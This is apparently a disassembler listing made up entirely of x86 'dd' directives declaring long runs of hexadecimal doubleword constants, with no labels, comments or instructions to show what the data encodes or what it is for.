		dd 741BEA11h, 0E21ACAh,	9F6BDED9h, 5DC40455h, 0FDF21000h
		dd 8A912DA6h, 11140CA2h, 0EB5278D1h, 1398B800h,	3A01F8BCh
		dd 0BFF50F8Bh, 589227ADh, 921F0608h, 0B5A97B00h, 46ABC24h
		dd 664C001Ch, 9E2BEFCh,	0D0014BBDh, 8369C272h, 470E5FAh
		dd 771E00D8h, 0B1527FCh, 550006B9h, 0CBA87A09h,	7388E693h
		dd 725B001Eh, 0AC826C6Bh, 231F5453h, 807CC04Bh,	0AFB74546h
		dd 1A96117h, 4D2EAD8Dh,	400A1CCCh, 3C13888h, 5A98280Eh
		dd 0BA74393h, 0D152D850h, 7926009Ah, 84EC1B4Ch,	1500C5E7h
		dd 0AB489FD3h, 3F49CBAAh, 0FC806947h, 6B08D05Fh, 8000220Ah
		dd 2E8C8FADh, 1F813424h, 4012C54Ch, 0E59C42CFh,	3306D007h
		dd 0A9F072A5h, 0DB233DB0h, 6AD1AE80h, 88B8FBC8h, 2B1D6E00h
		dd 41E57810h, 192E2875h, 0CC3F30A0h, 175E69C6h,	7FBBD200h
		dd 0F0639771h, 4F600081h, 503B9609h, 6E00491Dh,	0D9C6A811h
		dd 182C38FDh, 0F80557FCh, 91121D85h, 4047775Ah,	0C05E54C2h
		dd 5C101C79h, 427A00E8h, 0ABE37D93h, 0B30064C0h, 71940490h
		dd 231D83h, 0AC8A532Eh,	35305AAEh, 6A273200h, 0A1267791h
		dd 7ED70066h, 0F6CF8687h, 0BB00FDC0h, 49BAF14h,	7A7F6D63h
		dd 8B290189h, 0AA759165h, 0A89880F9h, 0A5174427h, 5C8A0093h
		dd 3722BB42h, 600076EAh, 0E8E38506h, 50B6D1h, 3330A6BCh
		dd 34F5CB40h, 0CE4DF612h, 0DE9D00FEh, 45368C54h, 0CB002990h
		dd 49E86C0Ch, 0F2B1DF1Eh, 0CA3800C7h, 28BC3F94h, 91C03008h
		dd 2F1293D4h, 877EADh, 0AAB340F3h, 0F41D864Ah, 0FB58E203h
		dd 0F06405FEh, 56A843h,	74C4C638h, 4A29A1DFh, 0BC9E1200h
		dd 7B3AB66Eh, 5A590760h, 30A5C31Eh, 0DF660D5Eh,	84C48C38h
		dd 248987B5h, 6ACD28C0h, 0E3F60088h, 0CA8BEFAAh, 9800BAECh
		dd 4A7FC90Fh, 2135D4h, 0E6E4DE89h, 0F206F322h, 0F6B58C00h
		dd 62E26634h, 3EBB0050h, 2DAE941Dh, 212D5DFh, 3B00F1BCh
		dd 6D2B1C6Ah, 0C4654C4Dh, 0EC006458h, 0D43AF8C8h, 0E53C5930h
		dd 96C58075h, 23F0BD8Ah, 3F650F16h, 95E01C22h, 0EDFA3EC0h
		dd 9FE94500h, 0E7E5FCAEh, 0ED1008Bh, 0EF53AD79h, 3A040D27h
		dd 23605948h, 26E2D80h,	20566F37h, 7AE44833h, 0CAF5AA40h
		dd 0E10C07Ch, 7BC8DA8Fh, 8C126C24h, 0EDBBEB02h,	14B98097h
		dd 725E8B4Fh, 63EF00F4h, 576A6F59h, 2A004BC5h, 29B76813h
		dd 90BFD99h, 0F56119C4h, 7A00420Bh, 0D033C30Ch,	0D25F9A0Eh
		dd 7A6C0059h, 0DA3F1Dh,	875A79F5h, 66B61AAh, 407CB000h
		dd 0F1A177E0h, 0A6BB0035h, 0A27F458Dh, 0C2038FC8h, 98B5F5F7h
		dd 0C648E04Fh, 390800F4h, 41246974h, 0C500F97Eh, 0E66E774Eh
		dd 0C1BB8Eh, 0EDDDD31Ch, 0D0CFCC0Fh, 550195E2h,	0CDAD187Ch
		dd 20D81B61h, 9A20012h,	0E51437B3h, 0EC0073BCh,	8FEE03AAh
		dd 0EA16845h, 28177757h, 3B799B20h, 9E005BE4h, 50945FE7h
		dd 2245F0h, 0CFC1541Bh,	8B0932D1h, 71001372h, 482EDE84h
		dd 635B31h, 0BA1E5CE4h,	0E1E07462h, 39383C03h, 0A8CE1B81h
		dd 0F2A60FFEh, 0E2CF00D4h, 59E87C6Bh, 4578B7FFh, 0B3B9A700h
		dd 0D4E9BC43h, 1C3C7DF1h, 2A9873h, 0E07F058Eh, 5202C402h
		dd 379F646Fh, 262DE010h, 0BE8C0089h, 46800787h,	6D79761Eh
		dd 0A450E500h, 95CFF7E0h, 0C2B003h, 6F9809FAh, 0C45A8C72h
		dd 3325D100h, 0C54B9580h, 56D21C90h, 1AA68FB8h,	2DCC805Dh
		dd 7540270Fh, 0C5F7151Eh, 5345FA40h, 786A6Dh, 0C7826EC6h
		dd 56288DA3h, 0F9B9D303h, 0C875F710h, 0CFD014h,	0D9646109h
		dd 5E3AC6AEh, 95C49F0Eh, 0AD5FA05Bh, 3A405707h,	859EDA88h
		dd 0A301787Ah, 8D6E8030h, 1D9C3098h, 0D3640600h, 7111D81Eh
		dd 0EA450044h, 358E8ABCh, 4103606Ch, 0A4EBEFBEh, 600AAA90h
		dd 0F13988D4h, 907B47D4h, 1C542E34h, 5F5D0068h,	0F8893BE8h
		dd 7D588349h, 0CCDD9100h, 0EE36252Bh, 9784Ah, 0D09F4BC0h
		dd 0F408B186h, 0BE20CF6Eh, 0C5099380h, 0CE3B4BC6h, 0FC811C08h
		dd 82C8BDAAh, 65EC2BB0h, 0C0406320h, 0BBE078h, 258105ACh
		dd 41F58DCDh, 0ADE9AE1Eh, 0BDE2D7C0h, 3F2B064h,	0C55B97A4h
		dd 5A8939Eh, 7B01F404h,	3D2582DEh, 0B18685BBh, 91F559AEh
		dd 91A9D603h, 11C52EBh,	33476E10h, 8387AA2Fh, 2C05B170h
		dd 7D2AF3ECh, 54B35091h, 45C9CE72h, 3A8A057Dh, 0B6102092h
		dd 14702A32h, 252ED403h, 0E0F2BA6Ch, 1CB167C5h,	81AB801Bh
		dd 1C1F0CF3h, 31C1EA9Eh, 2FD9CC0Dh, 0F70000B0h,	14867FAFh
		dd 0BEA2C1h, 0C94B3127h, 0A4553B80h, 0FC2EF800h, 7DB0ABA1h
		dd 290A1EF3h, 7B60386h,	3EB8AABFh, 10035A81h, 302A5034h
		dd 467DD82Ch, 0F9ACB037h, 0B0E4CBF4h, 28AF004Dh, 19D6E9Ah
		dd 0A0983FE0h, 2FC7240Ch, 0BFD1A1h, 0E8CE668Bh,	3340768Eh
		dd 831EEDEAh, 0D101C8D0h, 51FDA9Eh, 0B821C9F8h,	0DDB80054h
		dd 869DECACh, 0A5005112h, 36B55DCDh, 1FD425B3h,	31EBE9h
		dd 20544981h, 98C547C4h, 0FC905776h, 3B3491F2h,	2701169Eh
		dd 4E4FD19Fh, 8F1D0A0h,	15368209h, 0DCFD8023h, 5022AB2Fh
		dd 73CA5831h, 39DCA4E5h, 35808261h, 3F8EE4AEh, 5D545B87h
		dd 0AD00FEFCh, 15D2D67Bh, 3B0CC6D1h, 0A000A908h, 712252DFh
		dd 0B600E9ADh, 406CA74Ah, 0F8ED1634h, 6374000Ch, 0F452E4BFh
		dd 0F0A05841h, 60A072CAh, 5B188F4Ch, 246802C0h,	7A420EF7h
		dd 53B0AAh, 0CF780E49h,	0E21270B8h, 0A400E0CDh,	0DD1FE583h
		dd 0F0797001h, 43AA03A6h, 0B21CE3A3h, 2362A1B8h, 0B8098000h
		dd 0F15A6E53h, 0B012000Bh, 3F5B938Bh, 0F577B705h, 0D811C901h
		dd 7C4AC05Ah, 5CC167D8h, 0EA025737h, 7660ABB7h,	0D1E53040h
		dd 0E8C38400h, 0A35AFF09h, 3823603Dh, 36AF9950h, 756E5400h
		dd 0D1D8B39Dh, 60E67F79h, 0CAE08480h, 20605227h, 88BEC630h
		dd 0F47E0091h, 5D51851Ch, 726EDCA8h, 8F881F2h, 88E83CACh
		dd 62F3009Eh, 8266052Ah, 0E5002D4Ah, 0B6DB61C6h, 0BFF6B39h
		dd 0D42A4B0h, 0C482A480h, 153CEC0Bh, 0B140002Eh, 7332B3C5h
		dd 0E61B07C8h
		dd 0C0CD394Eh, 0C3FC6BD3h, 1D49258h, 0F6677F9Ch, 0B06A3C38h
		dd 180310B8h, 7EACCF3Ah, 9B25905Ah, 0D29C00EAh,	920AB1BCh
		dd 6F00B23Dh, 4AA98406h, 620571h, 4F517CC4h, 0A0529C3Bh
		dd 0BCA0F00h, 0D7C559D9h, 842600F1h, 3AA62D95h,	91E4B52h
		dd 857ECB27h, 47391C85h, 0B51045C0h, 19FE0008h,	6531F856h
		dd 0F09573A4h, 9CA00160h, 555E4DC7h, 0B1B6E0BDh, 8CE4F700h
		dd 78B06A13h, 91E80044h, 0DF1D5257h, 4E001203h,	0EC147CEh
		dd 0C087F0FEh, 96459C48h, 970042BDh, 719ADD58h,	7534B1h
		dd 0FC44944Dh, 2AA4CEF9h, 0A800E075h, 593D2174h, 4F7CD1h
		dd 82F6D54Bh, 5BEBB4F1h, 0A156C730h, 9910D95h, 0B31BFE8Eh
		dd 6A1C8654h, 0E3C266C0h, 0ECEFCF65h, 0F62A0024h, 725993BDh
		dd 7070A008h, 0AB1E8D00h, 2262FEA9h, 0A89B60ACh, 0E8405B52h
		dd 0FF7F631Eh, 7C323180h, 6006A073h, 0C14C30F9h, 150EF3B1h
		dd 0C0F2EC74h, 11D786Dh, 293D002Fh, 40CB581Fh, 91008695h
		dd 0B04BCE05h, 1F8EFD27h, 0C0CC2E33h, 0A752393h, 0FB00453Ch
		dd 0F97F2168h, 289626h,	0FC62319Fh, 0B11B6080h,	71EC3C1Eh
		dd 0DBAC4300h, 0FA386B7h, 5BEF3FC4h, 1085F3C6h,	0EAE97250h
		dd 0BDE64600h, 23BC8BE8h, 593600C2h, 0A421B1E3h, 4B00C322h
		dd 6E4352EDh, 0BE6FF9h,	0A3334A5Ch, 2AE38F3Bh, 0DEB7C00h
		dd 83C248D7h, 8D5F00D6h, 44CE287Bh, 0ED2E1E52h,	6F00F6C1h
		dd 832A55B8h, 0D73E00DBh, 4EAA143Ch, 0F900DD0Ch, 308AC2FDh
		dd 754B8CEh, 93FF2407h,	0BBAED4F1h, 0FE53650Fh,	73AD803Bh
		dd 622ED5D0h, 75E0E84Dh, 11DB5888h, 0D8C09000h,	85395FD9h
		dd 0C6924200h, 0A1131731h, 329F0F55h, 0C43F9A71h, 0C09C8FEFh
		dd 45A3FAEEh, 0B5ADD600h, 96BEE95h, 40085843h, 58E2Eh
		dd 0C6E3B873h, 5E77D4C9h, 0F49E6900h, 30E526D8h, 0C470C0CBh
		dd 6702AC0Ch, 0A9E8351Ch, 2E4FB145h, 0FAB69400h, 0A592C2h
		dd 0B5118A82h, 3D6C0230h, 7E4B1B0Eh, 45CBE621h,	0E4523EE0h
		dd 3C2B1580h, 560D3317h, 59208100h, 6DCCB3Ah, 0F3EE01BEh
		dd 5B249345h, 44E8F884h, 0B5E7D600h, 0FB60B3Eh,	1546003Ah
		dd 0F72CA6B4h, 0B1003753h, 25D4A3F1h, 0E2E1B5h,	0EC332D9Eh
		dd 8215EB0Bh, 0F0F93E00h, 78F314C9h, 0C36A0C36h, 6732B247h
		dd 7B4EA600h, 0CF639499h, 3DFE0644h, 0E0373CDAh, 0D900ACE0h
		dd 0DBE5EEB5h, 345F5h, 880AD7D5h, 0ED0BCC58h, 0B7E0F918h
		dd 0B857AE8h, 89FEDEA6h, 0E2888077h, 3390Ah, 62DC61DBh
		dd 9EB7C1B6h, 77960200h, 2D4DFE9Fh, 7399073Bh, 8093374Fh
		dd 7269B0CAh, 670029ECh, 0D38277A4h, 0F012049h,	0AA11CF7Bh
		dd 0E0044227h, 9DA67EDAh, 14700701h, 171E8CC7h,	0F135E847h
		dd 3508DC40h, 986816Bh,	32707657h, 5EAD5800h, 0A698B92Ah
		dd 6B00A976h, 937613DAh, 0AB7562h, 60C58901h, 0B8FB3E11h
		dd 7855FE00h, 0F91BB3C3h, 0BC50172Ah, 0BAF90545h, 4AB8028Dh
		dd 8480B018h, 0DBA97537h, 7EE84F00h, 1D7C49AAh,	706F0010h
		dd 5E6AC7CEh, 0FF01F420h, 4A0F3EAFh, 80EF60DAh,	2A30D2Ch
		dd 0B5887DC7h, 9880C511h, 1293CA06h, 0A532D000h, 2636EF7Bh
		dd 30B37995h, 4A18986Eh, 500152E5h, 71431141h, 47C8D922h
		dd 18F72F6h, 4DBB7FCCh,	0ED6C6F4Ch, 0C6A4F007h,	0E6FB1A00h
		dd 7243FDCDh, 0C2E30026h, 4BDCE125h, 91399877h,	0A86D83AAh
		dd 0C7DA462Bh, 0B05B1B43h, 71E272h, 3BC0A0F2h, 4C8B8ECFh
		dd 0F9980200h, 0FE8CDEE5h, 0BE0C0046h, 438AD4Bh, 48021654h
		dd 0DF26DD77h, 0E2742F2h, 0F72000A7h, 0A95DA6h,	0C93B210Ah
		dd 474E14DEh, 26048600h, 0DF0665A5h, 2D170F1Bh,	0E1EF16E0h
		dd 2399EEE0h, 40032893h, 0F841A051h, 763DA048h,	9EF50E85h
		dd 71601820h, 7D281312h, 1B39C200h, 0D29B653Fh,	0B2150064h
		dd 0C7C52075h, 3BB00E47h, 49FB941Fh, 0CCC9C880h, 8F80D8h
		dd 452EECDEh, 86E621B5h, 3C3E9E09h, 0B3B000D4h,	4E51A14h
		dd 96D85662h, 8090C02Bh, 0E601E86Dh, 641593BEh,	18A63335h
		dd 0FFE400A2h, 0FE7689F4h, 0CC0ED000h, 28B4DAF0h, 0BC2F4810h
		dd 0B7471F00h, 0D70C9E52h, 193D7E0Eh, 12C69E03h, 1F1979BBh
		dd 0CC73B939h, 8A1DA77h, 80F27539h, 3D2A9F76h, 7BF897Ah
		dd 3E952C73h, 7118506Eh, 757D0DABh, 96012D7Dh, 58A2D1F0h
		dd 27F03A26h, 4DEF0051h, 635E09C3h, 5D0106C8h, 0B7FD4BE7h
		dd 96F82272h, 0FE1300E0h, 0C4EA2587h, 0D53E15ABh, 2BE48116h
		dd 0E5900406h, 543068E6h, 0FBE7006Bh, 75773E85h, 0C103EEF0h
		dd 0AC943804h, 9DBAE167h, 4569E480h, 688FB7CCh,	4E011701h
		dd 272ABF3Eh, 661024h, 1A87492Bh, 6D7B6AADh, 1DEF0700h
		dd 0C33477E1h, 0F52000BAh, 0A54D80C0h, 210352E7h, 3E6B47D2h
		dd 9980E779h, 0F03B0322h, 8D6A00D0h, 469CBB0Ah,	570041E5h
		dd 0F70419EDh, 3ACDD9h,	0CA182544h, 58D58991h, 0A53F4D26h
		dd 0CB1A8F00h, 301361h,	0E5DBDECh, 3E939998h, 0EF2FFA01h
		dd 0B4636C5Fh, 54C460h,	79BE4E5Ah, 0A9437EB3h, 0C0ECA106h
		dd 1FF4B265h, 0C01E72E7h, 33A7AB6Ch, 361CB7B3h,	15C0CA80h
		dd 0AFE82F71h, 2C98B4h,	3046084Dh, 0BCEDCE57h, 0DDE748h
		dd 3BF77986h, 0FE209A1h, 61F6F019h, 53FB5440h, 3C0FD4C4h
		dd 77E485Ch, 7F1AC5h, 0D6AB8BC0h, 1CFA4808h, 0EAF97A01h
		dd 80FDCCD4h, 0B2DC6911h, 2CD85390h, 0BA64AEC2h, 4E31C893h
		dd 59A110ACh, 0D2697762h, 0ADC60FE0h, 890E7EF8h, 40E4715Ah
		dd 0B7C9F92h, 22A54C16h, 0E1203E30h, 30188959h,	0F6593A08h
		dd 0E73800D1h, 0E088BC7Ah, 0DD023114h, 0D97CBECEh, 0E0408F5Eh
		dd 0F54B32DCh, 371417BBh, 193601D6h, 0EA50F1E8h, 0FE2894A3h
		dd 9A78C0B8h, 40976900h, 1E2EEACAh, 7F600046h, 0C98C120Ch
		dd 2A1839F2h, 2A8EDF9h,	0E2B30097h, 0F13649B0h,	80FCFC27h
		dd 0A77D43Eh, 9F0343D8h, 0F2B92B00h, 1DD117Eh, 73CA1B45h
		dd 0C8DA19E9h, 0B7001C80h, 27CF02EEh, 0E1255BAh, 0F08EE065h
		dd 0D4FBB980h, 0DE3F1AA7h, 91097A1Dh, 719C6D6h,	0E0CF8ECEh
		dd 0BD323C16h, 0DDE31D9Dh, 0FCC502EFh, 8081D5B9h, 51D9E5B3h
		dd 0C8EE84C0h, 507CDB22h, 8C7DCF0Ah, 5B8180B1h,	39649A52h
		dd 12E0F8E1h, 0F9ECA0EDh, 3A7A314Fh, 0F8D43F58h, 38009CEBh
		dd 39EAF637h, 0C22E686h, 93B649C3h, 0BA004140h,	0F5A63EECh
		dd 77F30Ch, 95B95E7Fh, 0D4396B89h, 7AB82A0Fh, 0FBB1A033h
		dd 361C56Fh, 0EF415CADh, 50B0BA80h, 53FA5416h, 68D2F103h
		dd 0C314B24Ah, 1AB0F6FCh, 0E003FA22h, 0C704BD83h, 9142191Fh
		dd 87D7FE40h, 14452D55h, 84411505h, 11723973h, 1D90FD0Dh
		dd 0B04080E8h, 0BEEE7D1Bh, 0ADA50F57h, 5E0A4C17h, 0F23D00F0h
		dd 10836E50h, 9400B1EAh, 558AD252h, 5CA8FC9h, 979D5932h
		dd 5FF3807Eh, 0BF54A617h, 0F440FC24h, 883300EAh, 0DFB890C0h
		dd 90C18B23h, 2495DA02h, 6CAD3685h, 0B0D84FA9h,	0FEB940FDh
		dd 85BD3780h, 289C8450h, 0A0098E00h, 0E345CA70h, 49F66033h
		dd 32A8C0BEh, 0E7FBE92Ch, 59E7502h, 33A48780h, 94220CE0h
		dd 6D38C073h, 188313E4h, 0D801297Fh, 0D4484D7Fh, 308385C6h
		dd 4540B64Fh, 54CFEFB8h, 0D3B40F54h, 2CE1BD00h,	818A617Ah
		dd 0DCB60CC3h, 48919FA8h, 22F54C00h, 0B7F797Dh,	0F0E514BAh
		dd 8894B46Ah, 6864203h,	10012E1Fh, 84EF2AA2h, 0EC20F88Ah
		dd 870668Dh, 0B3008068h
		dd 0EEEF9B69h, 12DDE60Ah, 1E2F0609h, 58D61834h,	6C92E4E5h
		dd 0D2556E00h, 8153D786h, 7060001h, 441D54B3h, 0D406E22Fh
		dd 0EB83AA0Ch, 0CA88C438h, 81FE34EFh, 4A9AD0E5h, 0D8CD0044h
		dd 4D51FBEFh, 9DA6001Dh, 0E2C9B10Fh, 6A197E78h,	87603B7Dh
		dd 0D3D480C6h, 8E56B6h,	761F2BCBh, 61D465Fh, 62A8F35Ah
		dd 1AAA22Eh, 14E30C56h,	8770E4EAh, 0FF923001h, 60ED6D11h
		dd 78CC20h, 3CC3171h, 94EF570Fh, 565A3Ah, 3B4B5CACh, 1EDCD9h
		dd 9E765D1Fh, 3152A786h, 6A711000h, 51A92C8h, 0D2200082h
		dd 0BC9DD109h, 8900A5ACh, 945BE6FCh, 3417138h, 51B85EA1h
		dd 0A5B0A6ADh, 6F001AB7h, 68882283h, 0C114E5h, 1FB6684h
		dd 0DDB5A1E9h, 5F7EF303h, 0C3AA55F7h, 0A74A8032h, 0D2D12651h
		dd 5CA90075h, 8C7A0966h, 40672000h, 9A24BE8Fh, 86C80107h
		dd 0B3354130h, 34A9F891h, 2C858E00h, 0F3D97368h, 0E3940197h
		dd 44C8FDE2h, 0D929FDEAh, 0DEBCC48Ch, 7D02200h,	900C521Fh
		dd 4C310035h, 0E508F381h, 5B009792h, 0DECB944Eh, 2D7AB1h
		dd 383EB918h, 284FFA9Dh, 9B715D1Fh, 5B296B40h, 0C92617h
		dd 0E76FA419h, 0E5F1477Bh, 949C6400h, 0DCEA6274h, 22BA00FEh
		dd 0F8695032h, 0F2004485h, 5C3899C9h, 148328E2h, 0C419CB39h
		dd 5ED6BC00h, 1E8041Dh,	92393073h, 0DCEB00FDh, 2A9920A4h
		dd 0BC050058h, 60E56E8Eh, 0C1007DE1h, 0F5031ADFh, 5E9F34h
		dd 76D81036h, 4E5CB8A9h, 8065A03Eh, 8720B451h, 241B5A8Eh
		dd 31EEE88h, 4E7EA9FBh,	53D96AE8h, 563F7627h, 574600B3h
		dd 0F6B67267h, 0DB743203h, 985F60F2h, 0EAB556DEh, 2D7F28C4h
		dd 0F56602AFh, 5A11E3A6h, 15A4FF83h, 3FC9C1D0h,	1FC5E8E3h
		dd 0E3CD3700h, 2910B5EEh, 0DC640086h, 3AA1AE88h, 5600012Bh
		dd 6B14D169h, 7E9EC1EBh, 60360051h, 0D7B0829Ah,	0DB07ECBBh
		dd 3C3B9D7Dh, 768C804Fh, 3B714173h, 0F281E51Fh,	0DD7A278Fh
		dd 0E9E6F454h, 23099500h, 891582ACh, 0D0B200C7h, 0F71A730Bh
		dd 5FF6F88Bh, 0CAFAA700h, 81EE0E6Ah, 43090144h,	0EC031E6Dh
		dd 4737DC48h, 0E33AE401h, 0B80BFCCAh, 3E6ACCh, 2E04100Fh
		dd 19D9E701h, 6391960Eh, 0E95A60F6h, 0A9A5ECh, 1C5364Ah
		dd 3DE8BE76h, 0C1F620F5h, 97D01750h, 8588DA0Eh,	81FC8138h
		dd 1880C54Eh, 95569D83h, 62008B6Ah, 0DBCC2454h,	41B292h
		dd 0A17459B0h, 0BE3E98F6h, 0F2CF3500h, 0E7A6802Dh, 0C443093Dh
		dd 4D009062h, 9C6CC15Bh, 4ADF7F24h, 89AF5D01h, 84409D80h
		dd 48B47191h, 4000D012h, 0A5D85BFCh, 4200ACA3h,	6827213Bh
		dd 3F0964DEh, 3980F460h, 7C632944h, 0F0FA535Fh,	88F8C400h
		dd 0CC60EE77h, 0B0D90010h, 650815F3h, 0F1004A81h, 0A8DDCDAh
		dd 1C220Fh, 99074484h, 145B3633h, 0BA3D12E0h, 765200AFh
		dd 3D6AF9F6h, 0EE260181h, 460174B2h, 30C4F5E4h,	1D0391E6h
		dd 3AEB1B62h, 4026B294h, 3413B0Fh, 880897DEh, 0F6BB7E5Ch
		dd 0FAA888B4h, 7DF39h, 0DCEE9936h, 48289355h, 8E3FACB8h
		dd 1480C852h, 680B4D70h, 9200F576h, 58A0CFFEh, 0E9AF3ADh
		dd 2DE83F6Bh, 0D6D29581h, 0A2C9F4E1h, 0FB4EDC00h, 63A70708h
		dd 95963F59h, 27255D0Eh, 23C24E0h, 3479FA7Eh, 0BC007CB8h
		dd 0EE48BEA7h, 96B983h,	54DFB16Ch, 7391BB78h, 0B157700h
		dd 0FED7FFEFh, 0F17126BFh, 0FCFA0091h, 0CE9049A0h, 20391F00h
		dd 0BCC27F35h, 1C910040h, 0D82B228Ah, 15FE0971h, 330653Fh
		dd 9BCE1161h, 9658006Eh, 40545ACAh, 0C7003778h,	76E2EEDDh
		dd 6BC38Bh, 2EF8C50Dh, 9367423Bh, 0D072BC0Fh, 1C45B31Ch
		dd 48C0B922h, 49E1EC79h, 0C413584Fh, 580680ABh,	0EB04844Bh
		dd 5EB0EDAAh, 81148Ch, 92C16348h, 2B23FEAFh, 5B01EF7Ch
		dd 2CD0B3A3h, 0FDD493E9h, 84C30286h, 0BD53FBAAh, 0E40C4F40h
		dd 0F4291A00h, 2DC460E6h, 0E3713CF1h, 33641E80h, 0E8AAE146h
		dd 0E963D607h, 0CC8711DCh, 0E70D0580h, 7BC00010h, 0DA797590h
		dd 0AC004D45h, 0CAADECE3h, 8DD936h, 71F4893h, 0EBDAB6E4h
		dd 0FFEABD00h, 0D19583Ch, 0A687008Ah, 0B4816F70h, 2200465Eh
		dd 99DF0CE8h, 0FC90E9h,	57D73074h, 2A20D0ABh, 0D4984D04h
		dd 0C080286Dh, 0A06659BFh, 13CAC8E8h, 1E7109FBh, 47C700DCh
		dd 58843661h, 0F88C8B30h, 4292BEEh, 0D5AA9520h,	48C480CBh
		dd 0A0009990h, 6BB7C35Eh, 0E87C137h, 933933BEh,	8E0A95Bh
		dd 21001578h, 0AF6237BFh, 587FF404h, 0F57E4836h, 7B792630h
		dd 0DC090F72h, 0F309ED97h, 0FBDB0880h, 87F89163h, 0AD2896EEh
		dd 4301D245h, 86798E97h, 0F020B0FDh, 5E3D13B7h,	98470C6h
		dd 6B00EBC3h, 96653CFEh, 38EA7D72h, 1705AB2h, 1B4F8575h
		dd 30FD05DDh, 82201794h, 27998F5h, 50E0232Dh, 20E0C238h
		dd 780971A9h, 20BDAC6Dh, 3C741230h, 4B2F07B3h, 0C1F58E30h
		dd 366F698Fh, 2D780958h, 0CEBC80DBh, 355E4h, 60EE920h
		dd 3D08187Eh, 0FE755313h, 64258C4Ah, 3C609A12h,	0B4A3C4h
		dd 4FE005A9h, 0E460D87Ah, 17751498h, 0FD346700h, 0F7BC104Dh
		dd 709402ECh, 0B19B9DC2h, 77E6CC64h, 1C58830Ch,	3C069890h
		dd 0A6922EAEh, 884440DAh, 0F7E0AC53h, 0EDFDC226h, 0C4085C00h
		dd 34A684h, 39D5594Ah, 0BDF3253Eh, 8257B800h, 79643DC8h
		dd 70CF04C5h, 87C72363h, 74377127h, 9A10CCD4h, 33EC200h
		dd 0DC1BAB1Ch, 2DB13BF5h, 0C009501Fh, 6D97D318h, 2714486h
		dd 28797B03h, 801D1F91h, 8AD2C5h, 3AE658F8h, 336A9C6Bh
		dd 0B8AA441Eh, 2305B1EEh, 0DB001B13h, 32BB09E3h, 39970545h
		dd 807730E6h, 0F6FF6185h, 54C76E00h, 6D63EC99h,	503179AAh
		dd 3CD5B6ACh, 2E1786C9h, 0D82300B6h, 21DD35D6h,	0BB4748h
		dd 6DB4FEF1h, 29C0C3h, 7FDB875Fh, 4BC82286h, 6E4D800h
		dd 0CF801705h, 0C020DF2Eh, 0BCD197EAh, 0DB00E8F0h, 65D56CD9h
		dd 3A3B04DDh, 8F1C7B88h, 0EE1980C9h, 0B0F88EF0h, 0E79CD801h
		dd 0CECCE96Ah, 0E20992E0h, 0A2E30572h, 0C98C3Ah, 424446FFh
		dd 40006686h, 0B1E124AEh, 0C1CE18h, 3E4F075Fh, 0BDFE113Dh
		dd 94F0C200h, 58822E2Dh, 0B410093h, 0F3D79281h,	3900B785h
		dd 2CE1B0CCh, 7239D4Dh,	0CA94D630h, 0F899D020h,	0F9018859h
		dd 35CB46E8h, 62C5C3B7h, 0A0D4CB70h, 0EA8DFAh, 70334FB5h
		dd 0FEAA2876h, 11ACDD00h, 0B2350F41h, 64521DA1h, 220CFA7h
		dd 0A99C8281h, 678C7028h, 5C347A00h, 3E278518h,	12B674A4h
		dd 32CA2C5h, 6A6F530Ch,	0F802B3D0h, 0D8393028h,	0D6DDC100h
		dd 3DC64237h, 0AE540032h, 440A608h, 0EF03E924h,	82B9F423h
		dd 0D709702h, 607D654Ch, 289D4151h, 9124A0F9h, 0C70E28E7h
		dd 0A30490EDh, 0C1438F01h, 0F0831FA5h, 9B07CCE8h, 8C09173Ch
		dd 20B48080h, 405612A3h, 27030CEh, 5DE20F1Ah, 3B05A000h
		dd 0AAC1B75Eh, 0D5280026h, 0F256D16Eh, 892CFBBh, 3608BA12h
		dd 30343011h, 0EC88381Ch, 0BEC83F6Dh, 3BC1117h,	0EDB505C5h
		dd 361F60D0h, 4FF75013h, 4CEEEA00h, 4B9962Ah, 439E64AFh
		dd 0D3FDC0A1h, 0D03942Ch, 932E9BFEh, 0CF0288D4h, 0A55850h
		dd 6E1EC900h, 0ECFA24CEh, 0F1DAE81Eh, 0BA0680FAh, 15A982C4h
		dd 6FAB3B1Bh, 85E5CA81h, 0D839F741h, 461DBC25h,	0AA0075C1h
		dd 9330C938h, 45E00731h, 0BE8A1576h, 80DC6C80h,	941C1A8Eh
		dd 2C87D29Dh, 0C610F34Fh, 38C77461h, 73008828h,	80FBB59h
		dd 95001202h
		dd 1E21036Dh, 0F0D604CCh, 9FF60093h, 0FEFD8A1h,	0A20E8BB9h
		dd 20AA5890h, 61B3AE29h, 19E4FCh, 69499FEh, 397923B6h
		dd 0B0A33601h, 0C6D64EC1h, 0A2AB2480h, 55B5F0C9h, 4B7DC700h
		dd 9830256h, 0FFDFC8Fh,	0FF70C610h, 0AED87440h,	6600EDBBh
		dd 0BF19F062h, 4C4AA3FCh, 0E603711Eh, 0CD0A508Fh, 3ECE32D0h
		dd 0ACE4C61Eh, 6B9C3580h, 5C9982FAh, 0B1058AE3h, 83D85E09h
		dd 420E186Ah, 0D2AA59C0h, 0D2103801h, 80FCF865h, 0F5B000A1h
		dd 2F37AE86h, 2E0F6EEFh, 2E7A9C88h, 0A29D20BCh,	7DE94Bh
		dd 1269E131h, 7BF27FB2h, 5FB73A07h, 9A909DBEh, 1E0A030Fh
		dd 871D725Dh, 869CA1BDh, 56007174h, 22899B52h, 1F3F73F8h
		dd 9F6BC5h, 7779A0ACh, 8D1406BEh, 20180B4Dh, 8A2A40B3h
		dd 86013274h, 0F1431B8Dh, 5730814Bh, 0AB390018h, 5B49D4E6h
		dd 0A400E08Ch, 23B5D902h, 4631FEFh, 0AF90350Ch,	0E6F4807Fh
		dd 7B77F8B3h, 9C016500h, 2FBACBCDh, 2D620BBCh, 0AC80A7FDh
		dd 5BAD3137h, 3A5DA0C1h, 0BCC414D5h, 19C700CEh,	4798421Ah
		dd 4350878Fh, 0A8035258h, 0E7A52B74h, 6D380096h, 804CB3CBh
		dd 383C17EDh, 1DB696FCh, 587A0302h, 2EC56033h, 744600B5h
		dd 0A1BE09EBh, 0CC172A14h, 6700E3DFh, 9ECEEC07h, 0D2820096h
		dd 0F38DC36Eh, 4739A6DEh, 406D00B1h, 0C7CB0FFEh, 0CF9F0011h
		dd 5ED344BEh, 2F3EB298h, 946880A6h, 77BB585Fh, 0F960397h
		dd 86FF092Eh, 0B519A0C0h, 916B3B00h, 20EFBFEh, 3207000Ah
		dd 61FF5180h, 5418CA56h, 71E8418Ah, 153600D5h, 2E06B470h
		dd 78FC2099h, 38EDDD00h, 800354B0h, 4B6D3E19h, 34A35600h
		dd 0B31ADCD5h, 4ABB0095h, 0F69FA1h, 4FEC71FCh, 9E3E6C82h
		dd 0F4CD8F00h, 68137B97h, 775E00D6h, 2014FDDAh,	0F926B1ABh
